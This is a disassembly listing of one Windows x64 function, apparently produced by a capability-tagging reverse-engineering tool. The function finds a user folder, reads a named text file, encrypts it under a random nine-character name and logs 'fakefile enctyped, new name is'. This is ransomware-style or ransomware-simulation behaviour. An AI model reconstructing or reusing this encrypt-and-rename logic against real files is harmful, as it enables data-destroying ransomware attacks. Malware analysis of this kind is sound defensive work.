Function at 0x140005a70
Capabilities:
Get common file path
Move file
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
mov rax, qword [0x14007e018]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
xor r12d, r12d
mov r14d, r12d
mov dword [rsp + 0x40], r12d
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r12 + 0x10]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, str.mx81jh1jkx9bah0b3vv4.txt
mov edx, 0x104
lea rcx, [rbp + 0x1b0]
call fcn.140040724
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r13, 0xffffffffffffffff
mov r9d, r13d
lea r8, [rbp + 0x1b0]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rcx, rbx
call fcn.14003f38c
mov rdi, rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, r13d
lea r8, [rbp + 0x1b0]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, 0x104
call fcn.14003f38c
mov rsi, rax
test rax, rax
je 0x1400061dd
xor ecx, ecx
call fcn.14003fac8
mov rcx, rax
call fcn.1400403ac
mov ebx, r12d
lea r15d, [r12 + 0x27]
call fcn.140040380
mov r8d, eax
mov eax, 0x84210843
imul r8d
add edx, r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x3e
sub r8d, ecx
cmp r8d, 0x1a
jge 0x140005bae
mov al, 0x61
jmp 0x140005bbb
mov eax, 0xfffffffc
cmp r8d, 0x34
cmovl eax, r15d
add r8b, al
mov byte [rbp + rbx + 0x1a0], r8b
inc rbx
cmp rbx, 9
jl 0x140005b81
mov byte [rbp + 0x1a9], r12b
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x20], rax
mov r9, rdi
lea r8, str._s._s
mov edx, 0x104
mov rcx, rsi
call fcn.140001ee0
mov rdx, rsi
mov rcx, rdi
call fcn.140040d98
test eax, eax
jne 0x140005c6a
lea r8, [0x140074a30]
mov rdx, rsi
lea rcx, [rbp - 0x50]
call fcn.14003b754
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140005c6a
xor edx, edx
lea r8d, [rdx + 2]
call fcn.1400406b4
mov rcx, qword [rbp - 0x50]
call fcn.140040370
movsxd rbx, eax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x50]
call fcn.1400406b4
mov rcx, rbx
call fcn.14003f38c
mov r15, rax
test rax, rax
jne 0x140005c74
mov rcx, qword [rbp - 0x50]
call fcn.140040448
mov rcx, rsi
call fcn.14003f378
mov eax, 1
jmp 0x1400061e0
mov r9, qword [rbp - 0x50]
mov r8, rbx
mov edx, 1
mov rcx, r15
call fcn.140041264
mov rdi, rax
cmp rax, rbx
je 0x140005cb3
mov rcx, qword [rbp - 0x50]
call fcn.140040448
mov rcx, r15
call fcn.14003f378
mov rcx, rsi
call fcn.14003f378
mov eax, 1
jmp 0x1400061e0
mov dword [rsp + 0x40], r12d
mov eax, 4
mul rbx
cmovo rax, r13
mov rcx, rax
call fcn.14003f38c
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140005c90
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
mov edx, edi
mov rcx, r15
call fcn.1400010e0
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x50]
call fcn.1400406b4
mov r8d, dword [rsp + 0x40]
mov r9, qword [rbp - 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call fcn.14003f2f4
mov rcx, qword [rbp - 0x50]
call fcn.14003b50c
mov rcx, qword [rbp - 0x50]
call fcn.140040448
lea rcx, [rbp - 8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rdx, [rbp - 8]
lea rcx, [rbp + 8]
call fcn.140003610
nop
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0xb0]
call fcn.140037260
lea rcx, [rbp + 0xb0]
call fcn.140007460
nop
lea rdx, str._fakefile_enctyped__new_name_is:
lea rcx, [rbp + 0xb0]
call fcn.14000b4c0
mov rcx, rax
mov rdx, rsi
call fcn.14000b1a0
mov rcx, rax
call fcn.14000b730
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r12w
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r12w
or r14d, 2
mov dword [rsp + 0x40], r14d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov rcx, qword [rbp + 0x128]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x140005e07
mov rax, qword [rbp + 0xf8]
mov rdx, qword [rax]
test rdx, rdx
je 0x140005e07
mov rax, qword [rbp + 0xd8]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0x120]
cmovb rdx, qword [rbp + 0x120]
sub rdx, r9
jmp 0x140005e38
test cl, 4
jne 0x140005e70
mov rax, qword [rbp + 0xf0]
mov rcx, qword [rax]
test rcx, rcx
je 0x140005e70
mov rax, qword [rbp + 0xd0]
mov r9, qword [rax]
mov rax, qword [rbp + 0x108]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, rcx
mov rax, r9
sar rdx, 1
test rax, rax
je 0x140005e70
lea rcx, [rsp + 0x50]
cmp rdx, 7
ja 0x140005e6a
mov qword [rsp + 0x60], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call fcn.140036bb0
mov word [rsp + rbx + 0x50], r12w
jmp 0x140005e70
call fcn.14000bc20
nop
lea r8, str.___encryptFile__
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x70]
call fcn.14000b7c0
nop
lea r9, [rsp + 0x50]
mov r8, rax
lea rcx, [rsp + 0x70]
call fcn.14000ccd0
nop
lea r9, [rsp + 0x70]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rbp - 0x78]
cmp r12, 8
cmovae r9, rdi
mov r13, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
sub rax, r13
mov r14, qword [rbp - 0x80]
cmp r14, rax
ja 0x140005ef8
lea rax, [r14 + r13]
mov qword [rbp - 0x38], rax
lea rbx, [rbp - 0x48]
cmp rcx, 8
cmovae rbx, qword [rbp - 0x48]
lea rcx, [rbx + r13*2]
lea r8, [r14 + r14]
mov rdx, r9
call fcn.140036bb0
lea rax, [r14 + r13]
xor r14d, r14d
mov word [rbx + rax*2], r14w
jmp 0x140005f15
mov qword [rsp + 0x20], r14
mov rdx, r14
lea rcx, [rbp - 0x48]
call fcn.14000c050
mov r12, qword [rbp - 0x78]
mov rdi, qword [rsp + 0x70]
xor r14d, r14d
cmp r12, 8
jb 0x140005f51
lea rdx, [r12*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140005f48
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006216
mov rcx, rdi
call fcn.140034fa8
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x140005f91
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000621c
call fcn.140034fa8
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r14w
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140005fe4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fdf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006222
call fcn.140034fa8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rax
lea rcx, [rbp + 0x30]
call fcn.140007f20
nop
lea r8, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae r8, qword [rbp - 0x48]
mov rax, qword [rbp - 0x38]
lea r9, [r8 + rax*2]
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x30]
call fcn.1400095b0
nop
lea rcx, [rbp + 0x30]
call fcn.140007e30
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rdx, qword [rbp - 0x28]
mov ecx, dword [rbp - 0x18]
call fcn.140003590
mov rcx, r15
call fcn.14003f378
mov rcx, qword [rsp + 0x48]
call fcn.14003f378
mov rcx, rsi
call fcn.14003f378
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x1400060b4
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006228
call fcn.140034fa8
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x140006104
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000622e
call fcn.140034fa8
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r14w
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xb8]
call fcn.140007110
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xac], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x138], rax
lea rcx, [rbp + 0x138]
call fcn.140014998
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x1400061d9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400061d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006210
call fcn.140034fa8
xor eax, eax
jmp 0x1400061e0
mov eax, r13d
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.140034cb0
lea r11, [rsp + 0x4d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140041560
nop
call fcn.140041560
nop
call fcn.140041560
nop
call fcn.140041560
int3
call fcn.140041560
nop
call fcn.140041560
int3